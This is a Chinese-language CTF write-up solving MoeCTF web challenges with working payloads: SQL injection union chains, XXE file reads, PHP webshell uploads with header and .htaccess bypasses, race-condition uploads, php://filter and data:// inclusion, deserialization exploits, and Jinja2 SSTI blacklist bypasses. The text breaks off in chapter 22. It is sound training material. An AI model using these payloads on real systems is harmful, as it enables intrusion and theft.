本文最后更新于 2026-05-18T20:47:11+08:00
前言:心血来潮,突然想到刚刚打CTF的时候学长让我复现的Moe西电CTF还没打完,wp也没怎么写,还有一个比较抓马的就是当时不知道终端可以提交flag,一个没交QWQ。正好之前有一段时间在学渗透,没打CTF,靠这个复习一下之前学的知识吧。西电的这个CTF的WEEK1~2有点像当时我们的招新赛很简单很入门,挺适合初学者边学边练的,但主要还是要了解各个漏洞的原理,不能只以解题为目的。现在学了小半年来做感觉简单多了,之前一道题可能都要做好久,现在一个晚上能做十几道题了^^
WEEK1
01 第一章 神秘的手镯
法一

f12在前端代码中可以看到flag
法二
f12+f1禁用js

就可以复制了
02 第二章 初识金曦玄轨
抓包在前端代码中找到地址

注:请求体第一行 GET / HTTP/1.1 第一个/是网站的根目录,该网站根目录为/var/www/html

将请求头中的网站根目录改为/golden_trail发送请求
访问/golden_trail是访问服务器的/var/www/html目录下的/golden_trail

03 第三章 问剑石!篡天改命!
看到题目需要修改天赋和光芒


发现一开始的天赋是B,光芒是none,抓包看看,将两个参数修改,得到flag

04 第四章 金曦破禁与七绝傀儡阵
第一关是get传参
payload

得到第一个碎片
第二关是POST传参
payload

得到第二块碎片
第三关伪造本地请求,就是利用XFF头
payload
1
| X-Forwarded-For: 127.0.0.1
|

第三片碎片
第四关考察UA头,伪造moe browser浏览器访问


第四块碎片
第五关考的cookie身份认证

payload

第五片碎片
第六关考察的是referer网页构造

payload

第六块碎片
第七关考察的是PUT请求

在bp修改请求头为PUT,在请求体处添加新生!

得到第七个碎片
然后将得到的碎片拼接
1
| bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==
|
base64解码得到flag
1
| moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}
|
05 第五章 打上门来!
看到题目提示,很明显是路径穿越

在此处有访问路径的地方

根据题目构造../路径访问上一级文件,看到flag文件,点击查看即可

1
| moectf{a11_1nPuT-is-malIcl0U515cbc9eb}
|
06 第六章 藏经禁制?玄机初探!
是一个登录界面,第一反应是弱口令爆破或者sql

尝试弱口令admin:admin之后显示登录失败,但可以看到是通过get传参,抓包试一下

再看眼题目内容,发现提示是数据库,那就是sql注入了

先在username尝试一下万能密码,password随便填都行
payload
1
| ?username=1'or 1=1#&password=1
|

1
| moectf{WELCom3_TO_5Ql_inj3cTIonll66755ff}
|
07 第七章 灵蛛探穴与阴阳双生符
提示爬虫,直接尝试robots.txt

payload
看到了flag.php文件

看到了一段源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__); $flag = getenv('FLAG');
$a = $_GET["a"] ?? ""; $b = $_GET["b"] ?? "";
if($a == $b){ die("error 1"); }
if(md5($a) != md5($b)){ die("error 2"); }
echo $flag;
|
代码审计
ab需要满足值相等但MD5值不等,这里看到是弱比较
payload
1
| ?a=240610708&b=0e215962017
|

1
| moectf{MD5_i5-N0t_s@FE1!1c029591dc2}
|
08 第八章 天衍真言,星图显圣
和之前一样是一个登录界面,但看到下面的提示,这里就不是简单的万能密码了,需要利用联合注入

payload
1
| username=-1' union select 1,2#&password=1
|

回显点在1

payload2
1
| username=-1' union select database(),2#&password=1
|
数据库名为user

payload3
1
| username=-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
|
表名为flag

爆破字段名得到value
payload4
1
| username=-1' union select group_concat(column_name),2 from information_schema.columns where table_name='flag'#
|

爆破字段内容
payload5
1
| username=-1' union select group_concat(value),2 from flag#
|

1
| moectf{uNloN_B4SeD_5qI1_FTW1!8c747606}
|
Moe笑传之猜猜爆
是一个猜数字的界面,只能猜一次,并且每一都不一样好像

F12在调试器中看到js源码

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| let randomNumber = Math.floor(Math.random()*10000) + 1; const guesses = document.querySelector('.guesses'); const lastResult = document.querySelector('.lastResult'); const lowOrHi = document.querySelector('.lowOrHi'); const guessBtn = document.getElementById('guessBtn'); const guessField = document.getElementById('guessField');
let guessCount = 1; let resetButton;
function checkGuess() { let userGuess = Number(guessField.value); if(guessCount === 1) { guesses.textContent = '上次猜的数:'; } guesses.textContent += userGuess + ' ';
if(userGuess === randomNumber) { lastResult.textContent = '恭喜你!猜对了!'; lastResult.style.backgroundColor = 'green'; lowOrHi.textContent = ''; guessField.disabled = true; guessBtn.disabled = true; fetch('/flag', {method: 'POST'}) .then(res => res.json()) .then(data => { document.querySelector('.flagResult').textContent = "FLAG: " + data.flag; }); setGameOver(); } else { lastResult.textContent = '!!!游戏结束!!!'; lastResult.style.backgroundColor = 'red'; if(userGuess < randomNumber) { lowOrHi.textContent = '你刚才猜低了!'; } else if(userGuess > randomNumber) { lowOrHi.textContent = '你刚才猜高了!'; } guessField.disabled = true; guessBtn.disabled = true; setGameOver(); }
guessCount++; guessField.value = ''; guessField.focus(); } guessBtn.addEventListener('click', checkGuess);
function setGameOver() { resetButton = document.createElement('button'); resetButton.textContent = '开始新游戏'; document.body.appendChild(resetButton); resetButton.addEventListener('click', resetGame); }
function resetGame() { guessCount = 1; const resetParas = document.querySelectorAll('.resultParas p'); for(let i = 0; i < resetParas.length; i++) { resetParas[i].textContent = ''; } resetButton.parentNode.removeChild(resetButton);
guessField.disabled = false; guessBtn.disabled = false; guessField.value = ''; guessField.focus();
lastResult.style.backgroundColor = 'white';
randomNumber = Math.floor(Math.random()*10000) + 1; }
|
看到正确的随机数是randomNumber
1 2 3 4 5
| if(userGuess < randomNumber) { lowOrHi.textContent = '你刚才猜低了!'; } else if(userGuess > randomNumber) { lowOrHi.textContent = '你刚才猜高了!'; }
|
直接把randomNumber放在控制台然后回车可以得到正确的数

得到flag
1
| moectf{983b9fde-21dd-e459-8db8-678d57350459}
|
或者可以看到这里有请求flag的代码
1 2 3 4 5 6
| fetch('/flag', {method: 'POST'}) .then(res => res.json()) .then(data => { document.querySelector('.flagResult').textContent = "FLAG: " + data.flag; });
|
同样把它放到控制台也能直接得到flag

WEEK2
09 第九章 星墟禁制·天机问路
发现有输入url的地方,这种可以利用分隔符执行多个命令,|前面可以执行ping命令,后面可以执行任意命令
payload

看一下根目录,发现没有flag文件

那就直接看一下环境变量

1
| moectf{ab051473-1ae5-2d54-48b7-f5b9f1d0e8aa}
|
10 第十章 天机符阵_revenge
这里有一个输入框,随机输入1看一下回显,看到DOMDocument::loadXML(): ,很明显考的是XXE

payload
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <root> <阵枢>引魂玉</阵枢> <解析>&xxe;</解析> <输出>1</输出> </root>
|
<?xml version="1.0" encoding="UTF-8"?>:版本声明,可写可不写
<!DOCTYPE root [……]>:定义文档类型,其中包含一个外部实体声明
<!ENTITY xxe SYSTEM "file:///flag.txt">:声明了一个xxe的外部实体,利用了file协议,指向了服务器上的flag.txt文件
<解析>&xxe;</解析>:在xml中引用外部实体
当存在 XXE 漏洞的 XML 解析器处理这段代码时,会尝试加载/flag.txt文件的内容,并将其替换到&xxe;的位置,从而可以获取到/flag.txt的文件内容
1
| moectf{c0a5611e-97e8-4c10-ef1c-36909760ab68}
|
11 第十一章 千机变·破妄之眼
看到题目内容需要满足参数名等于参数值,且只由mnopq五个字母组成

这里很容易想到进行爆破,但是我们首先需要准备好爆破字典,也就是mnopq的排列组合,这个数量还是挺多的,可以让ai给我们
用脚本生成
1 2 3 4 5
| from itertools import permutations
letters = ['m', 'n', 'o', 'p', 'q'] for p in permutations(letters): print(''.join(p))
|
然后在bp进行爆破,也可以直接写一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import itertools import requests
BASE = "http://127.0.0.1:54855/" TIMEOUT = 5
baseline = requests.get(BASE, timeout=TIMEOUT) baseline_text = baseline.text baseline_code = baseline.status_code baseline_len = len(baseline_text)
print(f"[基线] 状态码={baseline_code}, 长度={baseline_len}")
for perm in itertools.permutations("mnopq"): k = "".join(perm) try: resp = requests.get(BASE, params={k: k}, timeout=TIMEOUT) if resp.text != baseline_text: print("\n[⚡ 不一样啦!]") print("参数名:", k) print("URL:", resp.url) print("状态码:", resp.status_code) print("返回长度:", len(resp.text), " (基线:", baseline_len, ")") print("返回片段:\n", resp.text[:500]) break else: print(f"试 {k} -> 一样") except Exception as e: print(f"试 {k} 出错: {e}")
|

爆破成功后看到了/find.php
有flag.php但是无法直接查看

可以利用filter伪协议
payload
1
| php://filter/read=convert.base64-encode/resource=./flag.php
|

base64解码得到
1
| moectf{dc021eda-ca38-3a36-c937-1c29c6a45343}
|
12 第十二章 玉魄玄关·破妄
直接是一句话木马,直接蚁剑连接,密码是cmd


没看到flag目录的话可以在环境变量中找

1
| moectf{bb67019a-19a4-ec80-62e9-08e6ebad7f76}
|
13 第十三章 通幽关·灵纹诡影
一看就是一道文件上传,只能传图片格式(很经典了

尝试上传一句话木马,但是失败了

看到回显要求校验的是ffd8ff,需要一个php文件,但文件头是jpg
首先010中创建一个php文件,点击Hex以十六进制查看,写入jpg的文件头

然后就是写一句话木马
1
| <?php eval($_POST['shell']); ?>
|

然后上传这个文件,上传成功后会得到对应的路径

蚁剑连接

链接成功后在flag.txt中找到flag

1
| moectf{4afe9f61-0bd3-fab8-ecd2-58345fb43490}
|
14 第十四章 御神关·补天玉碑
看到题目提示,上传Apache文件

先上传一个Apache文件
1 2 3
| <FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>
|
这个Apache文件的原理就是可以把1.jpg中解析成php,然后再上传1.jpg文件,里面的内容是上一题的一句话木马,依旧上传成功可以得到路径

然后去连接蚁剑

连接成功,得到flag
1
| moectf{963055f4-98ae-b8d4-e9bd-cf47add8a969}
|
摸金偶遇FLAG,拼尽全力难战胜
是一个小游戏,要在规定时间内解出9个莫斯密码,但规定时间只要3秒

显然完不成,就抓包看看,抓了开始游戏的包

看到这个游戏的机制就是在点击开始游戏时,会随机生成九个数和token,看一下源码,关键部分也写明了token的生成逻辑

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| function generateRandomDigitArray(length) { return new Promise((resolve, reject) => { fetch(`/get_challenge?count=${length}`) .then((response) => { if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } return response.json(); }) .then((data) => { if (data.error) { reject(data.error); } else { const real = data.numbers; const guess = Array.from({ length }, () => null); myToken = data.token; resolve({ real, guess }); } }) .catch((error) => { console.error("Error fetching challenge data:", error); reject("Failed to fetch challenge data."); }); }); }
|
输入正确的9位密码后,在/verify路由下通过POST方式传参,会进行answer和token的校验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| fetch("/verify", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ answers: realCode, token: myToken }) }) .then((response) => response.json()) .then((data) => { if (data.correct) { const flag = data.flag || "无法获取flag"; $(".computerTitle").text(`破译完成,已获取如下权限: ${flag}`); } else { $(".computerTitle").text(`破译失败: ${data.message || "未知错误"}`); } }) .catch((error) => { console.error("Error verifying solution:", error); $(".computerTitle").text("破译完成,但无法获取权限内容"); }); $(".decode-item-block").show(); $(".leftPanel,.inputPanel").hide(); return ( ">>> 骇入成功" + (limitChallenge ? `,挑战用时:${passedTime} 秒` : "") ); } }
|
整体逻辑就是先在/get_challenge?count=9路由中得到正确的密码和token,再将它发送到/verify进行校验
可以利用js代码直接在控制台运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| (async function getFlag(count = 9) { try { console.log("[*] 请求 /get_challenge ..."); const r = await fetch(`/get_challenge?count=${count}`, { credentials: 'same-origin' }); if (!r.ok) throw new Error("get_challenge HTTP " + r.status); const data = await r.json(); if (data.error) throw new Error("get_challenge error: " + data.error);
console.log("[*] 收到 challenge:", data); const payload = { answers: data.numbers, token: data.token };
console.log("[*] 提交 /verify ...", payload); const v = await fetch("/verify", { method: "POST", credentials: 'same-origin', headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload) });
if (!v.ok) throw new Error("verify HTTP " + v.status); const result = await v.json(); console.log("[*] verify 返回:", result);
if (result.correct) { console.log("%cFLAG => " + (result.flag || "(后端未返回 flag 字段)"), "color: green; font-weight: bold; font-size: 14px;"); } else { console.warn("提交未通过,后端消息:", result); } } catch (err) { console.error("发生错误:", err); } })();
|

1
| moectf{c11cd1aa-c2ce-9ab8-3614-8d1ff820d4fa}
|
WEEK3
01 第一章 神秘的手镯_revenge
看到题目内容说有备份,尝试wanyanzhou.txt.bak,下载到备份文件

然后用记事本打开,就得到了密码

一开始在这个界面发现不能复制粘贴

利用开发者工具,按F12+F1,禁用JS,就可以复制粘贴了,题目中又说要发送500次,利用bp抓包,发送到攻击器中

选择NULL payloads,无限重复,然后开始攻击,发包500次后,再看页面就有flag了

15 第十五章 归真关·竞时净魔
看题目内容还是文件上传,提示了上传的路径

在这个路径下可以看到上传的历史文件,一开始感觉是配置文件,但发现过滤很严,传不了配置文件,但是注意到题目名是“竞时”,就想到了利用条件竞争,连续发包然后一直刷新界面,就会看到,会有php文件上传成功,但是很快又会被删掉(很没招啊,想截图的但是每次刷新太快都没截到就放弃了,但是不影响做题

所以就可以利用条件竞争,通过不断发包去访问
将内容回显到文件中,这样只要上传成功,虽然php文件会被删掉,但是它执行后我们写入的那个文件依然保留
1
| <?php system('ls > 1.txt');?>
|
然后还要访问上传的php文件,并且依旧要一直发包

然后过一会就能看到写入的1.txt文件

然后尝试读取根目录下的文件,这里需要把php的文件名改一下,然后重复上面的发包操作,就会看到2.txt文件,访问一下,就能看到目录下有flag.txt文件
1
| <?php system('ls / > 2.txt');?>
|

修改payload,重新发包
1
| <?php system('cat /flag.txt > 3.txt');?>
|


要刷新一会就能看到3.txt

访问得到flag

1
| moectf{18437019-9749-246d-f526-3fb6b0992bdc}
|
16 第十六章 昆仑星途
打开就能直接看到源码
1 2 3 4 5
| <?php error_reporting(0); highlight_file(__FILE__);
include($_GET['file'] . ".php");
|
有include,像是文件包含,get参数后拼接了.php文件,尝试利用php伪协议读取index源码,可以读到
payload
1
| ?file=php://filter/read=convert.base64-encode/resource=index
|
但是尝试读取flag.php文件就无法读到,应该是把flag文件的名称改了,那就换一个伪协议,用data伪协议执行rce
payload
1
| ?file=data://text/plain,<?php system('ls /');?>
|

果然是把flag文件名给改了
1
| ?file=data://text/plain,<?php system('cat /flag-U8NllOaJ0q6VU6WEEHEC9EdX69Uf9i.txt');?>
|

1
| moectf{7d411b86-38d4-558b-785f-0c9b51171bce}
|
17 第十七章 星骸迷阵·神念重构
依旧给源码,一看就是比较入门的反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__);
class A { public $a; function __destruct() { eval($this->a); } }
if(isset($_GET['a'])) { unserialize($_GET['a']); }
|
定义了一个A类,运用了__destruct()的魔术方法
很容易看到这里是利用点,将属性a赋值php代码通过eval执行,进行rce
构造exp
1 2 3 4 5 6 7 8 9 10 11 12
| <?php
class A { public $a; function __destruct() { eval($this->a); } }
$A = new A(); $A->a = 'system("ls /");'; echo(serialize($A));
|

payload
1
| ?a=O:1:"A":1:{s:1:"a";s:20:"system("cat%20/flag");";}
|

1
| moectf{cda62fdc-5a3e-ed62-8aeb-e8d6dfec7bda}
|
18 第十八章 万卷诡阁·功法连环
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php highlight_file(__FILE__);
class PersonA { private $name; function __wakeup() { $name=$this->name; $name->work(); } }
class PersonB { public $name; function work(){ $name=$this->name; eval($name); }
}
if(isset($_GET['person'])) { unserialize($_GET['person']); }
|
利用点是PersonB中的eval($name);,通过触发work()魔术方法来执行,work()方法是在PersonA类中自定义的,所以需要通过PersonA触发__wakeup()魔术方法来调用
所以构造的思路就是PersonA->__wakeup()->work()->PersonB->work()->eval($name);
这里还有一个就是PersonA中的name属性是私有的,不能直接在外部赋值,同时需要对最后序列化的结果进行url编码
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php highlight_file(__FILE__);
class PersonA { private $name; function __construct($name) { $this->name = $name; } }
class PersonB { public $name; function work(){ $name=$this->name; eval($name); }
}
$PersonB = new PersonB(); $PersonB -> name="system('ls /');"; $PersonA = new PersonA($PersonB);
echo(urlencode(serialize($PersonA)));
|
payload
1
| ?person=O%3A7%3A"PersonA"%3A1%3A%7Bs%3A13%3A"%00PersonA%00name"%3BO%3A7%3A"PersonB"%3A1%3A%7Bs%3A4%3A"name"%3Bs%3A15%3A"system%28%27ls+%2F%27%29%3B"%3B%7D%7D
|


1
| moectf{9cb9408b-4044-8104-78a3-78f8aa6e7b3a}
|
19 第十九章 星穹真相·补天归源
(好长的代码,这才是真正的反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php highlight_file(__FILE__);
class Person { public $name; public $id; public $age;
public function __invoke($id) { $name = $this->id; $name->name = $id; $name->age = $this->name; } }
class PersonA extends Person { public function __destruct() { $name = $this->name; $id = $this->id; $age = $this->age; $name->$id($age); } }
class PersonB extends Person { public function __set($key, $value) { $this->name = $value; } }
class PersonC extends Person { public function __Check($age) { if(str_contains($this->age . $this->name,"flag")) { die("Hacker!"); } $name = $this->name; $name($age); }
public function __wakeup() { $age = $this->age; $name = $this->id; $name->age = $age; $name($this); } }
if(isset($_GET['person'])) { $person = unserialize($_GET['person']); }
|
代码审计
把Person作为父类,PersonABC均为它的子类,也就是每个子类不仅有自己的属性和魔术方法,同时还继承了父类的属性和魔术方法,然后整体来看,虽然用到了很多魔术方法只有三个age,name和id还有一个就是在魔术方法中作为参数出现的value。遇到这种长一点的反序列化我习惯先找到它的利用点然后倒推利用链
这里看到一个str_contains函数,原函数用法
1
| str_contains(string $haystack, string $needle): bool
|
作用:检查$haystack中是否包含$needle,并返回bool值
这里利用点感觉在PersonC这个类中
1 2 3 4 5 6 7
| if(str_contains($this->age . $this->name,"flag")) { die("Hacker!"); } $name = $this->name; $name($age); }
|
通过$name($age);来实现代码的执行
WEEK4
20 第二十章 幽冥血海·幻语心魔
这里尝试随便输入点东西,发现会返回username的值,就联想到SSTI

进行测试

没错了就是SSTI,那就一点点注入
一个方法是在config全局变量中获得flag
payload1
获取config对象的类


根据返回信息看到是一个python内部的flask框架
payload2
获取类的初始化方法

进行初始化
直接调用全局空间中的os模块利用popen执行命令,read读取结果
payload


1
| moectf{fc801e39-a1cf-d9a0-1016-4a4bc1766beb}
|
这个payload是直接调用了flask内置的config对象,获取其类,访问globals,提取已导入的os模块,调用os.popen,但是这个具有一定的局限性,可能出题人删除了config或者globals中的os,则不能调用
还有一种方法就是更通用的利用路径
payload

'.__class__ → <class 'str'>
.__base__ → <class 'object'>(所有类的基类)
.__subclasses__() → 返回所有继承自 object 的子类列表(包括内置类型和用户定义类)
[141] → 假设索引 141 对应的是某个包含 popen 的类(通常是 warnings.WarningMessage 或某些 I/O 相关类,其 __globals__ 中有 subprocess 或 os 的引用)
从该类的 __init__ 函数的 __globals__ 中提取 popen(可能是 os.popen 或 subprocess.Popen 的别名)
这个方法比较麻烦的就是包含popen的类的索引需要找到
查找可用类的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import requests
url = " " class_name = "os._wrap_close"
for i in range(500): payload = f"().__class__.__base__.__subclasses__()[{i}]" username = "{{" + payload + "}}" params = { "username": username, "password": "123" }
try: response = requests.get(url, params=params) print("索引:", i) if response.status_code == 200: if class_name in response.text: print("找到了:", i) print("url:", response.url) break except Exception as e: print(f"i={i} 请求出错:{e}")
|
21 第二十一章 往生漩涡·言灵死局
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from flask import Flask, request, render_template, render_template_string app = Flask(__name__)
blacklist = ["__", "global", "{{", "}}"]
@app.route('/') def index(): if 'username' in request.args or 'password' in request.args: username = request.args.get('username', '') password = request.args.get('password', '')
if not username or not password: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div> </div> """ else: login_msg = render_template_string(f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>欢迎:{username}</div></div> </div> """)
for blk in blacklist: if blk in username: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>Error</div></div> </div> """ else: login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
|
打开还是刚刚那个界面,但是在题目中看到了blacklist黑名单

看到过滤了双下划线可以利用request方法绕过:__class__——>[requests.args.class]
过滤了{{}}花括号,可以利用{%print()%}绕过
给的wp中的方法是利用config类
payload1


payload2
lipsum是一个内置函数,本质上是一个 Python 函数对象,因此具有 __globals__ 属性,指向其定义时所在模块的全局命名空间


也可以用另一种通用路径打
原payload

但是因为有黑名单,可以利用十六进制编码绕过,下划线十六进制为\x5f\x5f,globals十六进制为\x67\x6c\x6f\x62\x61\x6c\x73
payload

22 第二十二章 血海核心·千年手段
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
@app.route('/') def index(): if 'username' in request.args or 'password' in request.args: username = request.args.get('username', '') password = request.args.get('password', '')
if not username or not password: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div> </div> """ else: login_msg = f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>Welcome: {username}</div></div> </div> """ render_template_string(login_msg) else: login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
|
这个源码和之前的差不多,唯一区别就是在于
1 2 3 4 5 6 7 8 9 10 11 12
| else: login_msg = f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>Welcome: {username}</div></div> </div> """ render_template_string(login_msg) else: login_msg = ""
return render_template("index.html", login_msg=login_msg)
|